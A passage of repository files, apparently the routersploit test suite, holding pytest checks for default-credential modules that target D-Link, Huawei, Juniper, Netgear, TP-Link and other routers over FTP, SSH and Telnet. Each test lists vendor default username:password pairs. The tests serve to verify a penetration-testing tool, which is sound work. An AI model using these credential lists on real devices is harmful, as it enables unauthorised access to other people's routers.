    "content": "from routersploit.modules.creds.routers.dlink.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"1234:1234\", \"root:12345\", \"root:root\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/dlink/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.dlink.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"1234:1234\", \"root:12345\", \"root:root\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/dlink/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.dlink.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"1234:1234\", \"root:12345\", \"root:root\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/fortinet/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/fortinet/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.fortinet.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:\", \"maintainer:bcpb+serial#\", \"maintainer:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/fortinet/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.fortinet.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:\", \"maintainer:bcpb+serial#\", \"maintainer:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/fortinet/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.fortinet.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:\", \"maintainer:bcpb+serial#\", \"maintainer:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/huawei/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/huawei/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.huawei.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:\", \"Admin:admin\", \"user:user\", \"vodafone:vodafone\", \"user:HuaweiUser\", \"telecomadmin:admintelecom\", \"root:admin\", \"digicel:digicel\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/huawei/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.huawei.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:\", \"Admin:admin\", \"user:user\", \"vodafone:vodafone\", \"user:HuaweiUser\", \"telecomadmin:admintelecom\", \"root:admin\", \"digicel:digicel\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/huawei/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.huawei.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:\", \"Admin:admin\", \"user:user\", \"vodafone:vodafone\", \"user:HuaweiUser\", \"telecomadmin:admintelecom\", \"root:admin\", \"digicel:digicel\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/ipfire/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/ipfire/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.ipfire.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"root:admin\", \"admin:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/ipfire/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.ipfire.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"root:admin\", \"admin:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/ipfire/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.ipfire.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"root:admin\", \"admin:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/juniper/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/juniper/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.juniper.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:abc123\", \"super:juniper123\", \"admin:<<< %s(un='%s') = %u.\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/juniper/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.juniper.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:abc123\", \"super:juniper123\", \"admin:<<< %s(un='%s') = %u.\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/juniper/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.juniper.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:abc123\", \"super:juniper123\", \"admin:<<< %s(un='%s') = %u.\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/linksys/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/linksys/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.linksys.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\", \"root:admin\", \"linksys:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/linksys/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.linksys.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\", \"root:admin\", \"linksys:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/linksys/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.linksys.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\", \"root:admin\", \"linksys:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/mikrotik/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/mikrotik/test_api_ros_default_creds.py",
    "content": "from routersploit.modules.creds.routers.mikrotik.api_ros_default_creds import Exploit\n\n\ndef test_check_success(tcp_target):\n    \"\"\" Test scenario - testing against mikrotik api ros server \"\"\"\n\n    exploit = Exploit()\n\n    exploit.target = tcp_target.host\n    exploit.port = tcp_target.port\n\n    assert exploit.check()\n#    assert exploit.check_default() is None\n#    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/mikrotik/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.mikrotik.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/mikrotik/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.mikrotik.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/mikrotik/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.mikrotik.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/movistar/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/movistar/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.movistar.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"1234:1234\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/movistar/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.movistar.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"1234:1234\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/movistar/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.movistar.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"1234:1234\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/netcore/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/netcore/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.netcore.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"guest:guest\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/netcore/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.netcore.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"guest:guest\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/netcore/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.netcore.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"guest:guest\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/netgear/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/netgear/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.netgear.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:1234\", \"admin:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/netgear/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.netgear.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:1234\", \"admin:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/netgear/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.netgear.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:1234\", \"admin:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/netsys/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/netsys/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.netsys.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/netsys/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.netsys.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/netsys/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.netsys.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/pfsense/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/pfsense/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.pfsense.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:pfsense\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/technicolor/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/technicolor/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.technicolor.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\", \"admin:1234\", \"Administrator:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/technicolor/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.technicolor.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\", \"admin:1234\", \"Administrator:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/technicolor/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.technicolor.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\", \"admin:1234\", \"Administrator:\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/thomson/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/thomson/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.thomson.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/thomson/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.thomson.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/thomson/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.thomson.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:password\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/tplink/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/tplink/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.tplink.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/tplink/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.tplink.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/tplink/test_telnet_default_creds.py",
